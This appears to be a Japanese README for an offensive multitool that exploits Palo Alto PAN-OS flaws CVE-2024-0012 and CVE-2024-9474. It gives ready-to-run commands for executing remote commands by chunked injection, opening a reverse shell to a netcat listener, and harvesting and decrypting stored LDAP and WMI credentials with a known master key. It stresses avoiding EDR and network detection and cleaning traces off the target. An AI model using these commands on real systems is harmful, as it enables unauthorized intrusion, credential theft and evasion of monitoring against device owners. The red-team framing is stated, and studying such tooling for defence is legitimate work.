regent8sh/panosexploitmultitoolPalo Alto PAN-OSシステム（脆弱性CVE-2024-0012およびCVE-2024-9474の影響を受けるシステム）向けエクスプロイテーションおよびポストエクスプロイテーション用マルチツール
脆弱性CVE-2024-0012およびCVE-2024-9474の影響を受けるPalo Alto PAN-OSシステム向けの、悪用および侵害後マルチツール
CVE-2024-0012とCVE-2024-9474のリモートコード実行脆弱性の初期の悪用中に、シェルを取得し、設定ファイルを調査したところ、さまざまなパスワードフィールドに奇妙な文字列が含まれていることを発見しました。これらは明らかに一般的なハッシュ形式ではなかったため、チームと共に調査を開始し、すぐにThreatLabsウェブサイトのセキュリティアドバイザリを見つけました。そこには、PAN-OSの認証情報が（？）デフォルトで公開既知のマスターキーを使用して暗号化されていると記載されていました。このマスターキーはデバイスの設定で変更可能ですが、これらの脆弱性に遭遇したすべてのインスタンスでデフォルトのマスターキーが使用されていることを確認しています。このツールの設計を通じて、これらの脆弱性を悪用し、侵害後の活動と認証情報の収集を行い、さらにネットワークやトラフィック監視ソリューションによって検出される可能性のある永続的な接続を必要とせずに、暗号化されたHTTPSトラフィックを介して平文の認証情報を完全に取得する簡単な方法を構築することを目標としています。
現在、LDAPおよびWMIの認証情報の自動取得と復号をサポートしていますが、まれに設定ファイル内でシークレット文字列が非標準のXMLフィールド名で暗号化されているケースを見かけます。現在、これらの特殊なケースの原因を特定し、完全なサポートを保証できるように取り組んでいます。なお、これは開発中であることにご注意ください。
使用前に、以下のようなコマンドを使用して必要な依存関係がすべてインストールされていることを確認してください。
pip3 install -r requirements.txt
"check"コマンドを使用すると、リモートターゲットがCVE-2024-0012に対して脆弱かどうかを確認できます。リモートホストをIPアドレスで指定する場合は、必ず--no-verify引数を使用してください。例：
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify
"command"コマンドを使用すると、リモートターゲットに対してCVE-2024-0012およびCVE-2024-9474を悪用し、手動で指定したコマンドを実行し、その出力をWebインターフェースを介して取得できます。dumpコマンドやshellコマンドと同様に、指定されたコマンドはCVE-2024-9474のコマンドインジェクション脆弱性に収まる小さなチャンクに分割され、書き込み可能なディレクトリ（デフォルトは/var/tmp/）に一時的なシェルファイルとして書き込まれ、ターゲット上で実行されます。出力は/var/appweb/htdocs{remote_dir}の下の一時的なPHPファイルに書き込まれ、HTTPS経由で取得され、コンソールに表示され、--no-cleanup引数が指定されていない限り自動的にクリーンアップされます。必要な場合は--no-verifyを忘れずに指定してください。
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
オプションの--silentcommandフラグを使用すると、指定されたコマンドが上記と同じチャンク化とインジェクション方式で実行されますが、出力がWebからアクセス可能なファイルにリダイレクトされたり、取得リクエストが行われたりすることはありません。これは、出力が不要な場合や、ターゲット上で作成されるWebリクエストやファイルの数を最小限に抑えることが優先される場合に便利です（fire-and-forgetアクション）。出力ファイルがWebパスに書き込まれないため、クリーンアップでは、書き込み可能なディレクトリから一時的なペイロードチャンクファイルのみが削除され、クリーンアップ対象の出力.phpファイルはありません。
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
"shell"コマンドを使用すると、リモートターゲットに対してCVE-2024-0012およびCVE-2024-9474を悪用し、リモートホスト上でリバースシェルを受信できます。基本的に、このコマンドは標準のbashリバースシェルペイロードを作成し、base64エンコードし、base64エンコードされたブロブをCVE-2024-9474のコマンドインジェクション脆弱性に収まる小さなチャンクに分割し、書き込み可能なディレクトリ（デフォルトは/var/tmp/）内のファイルに各チャンクをエコーするコマンドを実行します。これらのチャンクが完全に保存されると、単一のシェルファイルに結合され、ホスト上で実行され、別のnetcatリスナー（nc -nvlp {PORT}）に接続するはずです。
なお、現在のバージョンでは、永続的なリバースシェル接続によるタイムアウトにより、ファイルのクリーンアップが行われません。そのため、ツールの実行開始時に表示されるランダムなファイル名をメモし、{writable_dir}および/var/appweb/htdocs{remote_dir}の場所から手動でクリーンアップする必要があります。これは次のバージョンで修正する予定ですが、まだ対応していません。必要な場合は--no-verifyを忘れずに指定してください。
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify
これはこのプロジェクトの主な目標であり、このツールを構築した主な理由です。これらの脆弱性に関するほとんどの記事やツールがリモートコード実行に関連しているため、その先の有用な侵害後の手順を詳述している例はほとんど見つかりませんでした。dumpコマンドを使用すると、リモートから認証情報を取得して復号するだけでなく、永続的な接続を必要とせずに、少数の暗号化された（HTTPS）Webリクエストだけで完全に実行できます。PAN-OSアプライアンスにはEDR/MDR/IDR/XDR/?DRソリューションが搭載されている可能性がかなり低いため、これはレッドチームの運用において特に効果的です。
dumpコマンドは、shellコマンドと同様のチャンク化および実行方法に従いますが、リバースシェルを開始する代わりに、デバイスの設定ファイル（/opt/pancfg/mgmt/saved-configs/ にあります）から暗号化された認証情報を取得し、公開既知のマスターキーを使用して特定されたパスワードを自動的に復号します。dumpコマンドは、--no-cleanup引数を含めない限り、復号の最後に作成されたファイルをクリーンアップします。いつものように、必要な場合は--no-verifyを忘れずに指定してください。
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
さらに、オプションの--full-running-config引数を追加しました。これを使用すると、現在の実行中設定ファイルのXML内容全体を取得し、ローカルファイルに保存できます。保存されるファイル名はrunning-config.{TARGET}.{TIMESTAMP}.xml（例：running-config.192.168.1.1.20260516_143022.xml）の形式で、タイムスタンプは取得時刻を反映します。これにより、同じデバイスを複数回ターゲットにした場合でも、以前の設定ダンプが上書きされるのを防ぎます。これを超えて確認することをお勧めします（以前の/他の設定ファイルに一意の暗号化認証情報が含まれている事例をいくつか見ています）。これは、自動的に検出および復号されなかった追加の認証情報を確認する良い方法です。また、Localコマンドを使用して、ローカルのXML設定ファイルをローカルで処理することもできます。詳細は以下を参照してください。
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
localコマンドは非常に基本的で、主な使用ケースは、完全なXML設定ファイルを取得した場合（dumpコマンドの--full-running-config引数を使用した場合など）、またはすでにPAN-OSデバイス上でシェルを取得し、デバイスからXML設定ファイルの内容（/opt/pancfg/mgmt/saved-configs/にあります）をコピーまたは印刷した場合です。指定されたローカルファイルに対して、同じロジックと認証情報の自動復号を実行します。LDAPやWMIの認証情報を含むすべての暗号化認証情報タイプを、任意のXMLタグ名でサポートします。
python3 PanOsExploitMultitool.py local -f {FILE}
最後に、decryptコマンドを使用すると、公開マスターキーを使用して生の文字列を復号できます。これは、過去の設定ファイルで暗号化された認証情報文字列が特定されたが、その直前にユーザー名がない場合や、別の方法で抽出された認証情報文字列を手動で検証したい場合など、特殊なシナリオで役立ちます。これらの文字列は端末に直接入力でき、完全な-AQ..........==形式でも、末尾のbase64エンコードされたブロブだけでも受け付けます。
python3 PanOsExploitMultitool.py decrypt
このプロジェクトの研究開発に使用された、以下の記事、モジュール、アドバイザリを参照してください。
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/